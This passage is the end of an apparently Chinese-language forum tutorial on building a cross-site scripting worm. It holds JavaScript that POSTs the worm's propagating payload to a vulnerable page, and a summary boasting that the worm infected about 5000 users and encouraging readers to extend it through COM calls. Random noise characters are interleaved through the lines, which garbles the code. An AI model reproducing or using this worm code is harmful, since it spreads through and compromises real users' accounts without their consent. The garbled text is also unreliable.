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xmlHttpReq.open(" OST","http://vul.com/vul.jsp",false);
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xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");# D! I, \4 @8 P9 S2 u
9 @/ s+ P# `2 Y9 [# `xmlHttpReq.setRequestHeader("content-length",post.length);
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# t, B1 E, P1 N5 H$ _xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");# u$ i I2 k( x5 q v! f# ?8 Y
: R7 n8 u" Q1 {& Q6 f5 C1 ~xmlHttpReq.send(post); //把传播的信息 POST出去., ]1 _ d- S$ F+ k6 q9 W3 Y7 {8 G
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复制代码-----------------------------------------------------总结-------------------------------------------------------------------
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本次教程案例中的蠕虫曾经测试成功并且感染了约5000名用户.& C4 Y+ D, I' z- E# y
蠕虫仅仅是一个载体,在这个载体上,我们可以实现各种各样的功能.
1 ?) c6 O% r1 f! u& {- p1 A操作JS调用COM,你的想象力有多大,蠕虫能力就有多大.这也是为什么国外黑客往往喜欢写蠕虫的原因.0 N% W5 v! C! g" r: I- e+ g5 q
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% |9 B# ^+ k: n" j6 H5 d本文引用文档资料:
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! T( ^: z- o( G- {% u I$ p$ i"HTTP Request Smuggling" (Chaim Linhart, Amit Klein, Ronen Heled and Steve Orrin, June 2005)
1 ]( G$ l5 |! T; t+ COther XmlHttpRequest tricks (Amit Klein, January 2003)
( w* i6 R9 D( |/ s3 w! \7 q"Cross Site Tracing" (Jeremiah Grossman, January 2003)) F* a! e9 U# b2 n
http://armorize-cht.blogspot.com 阿碼科技非官方中文 Blog3 S3 r+ J! {! }5 o: R9 F
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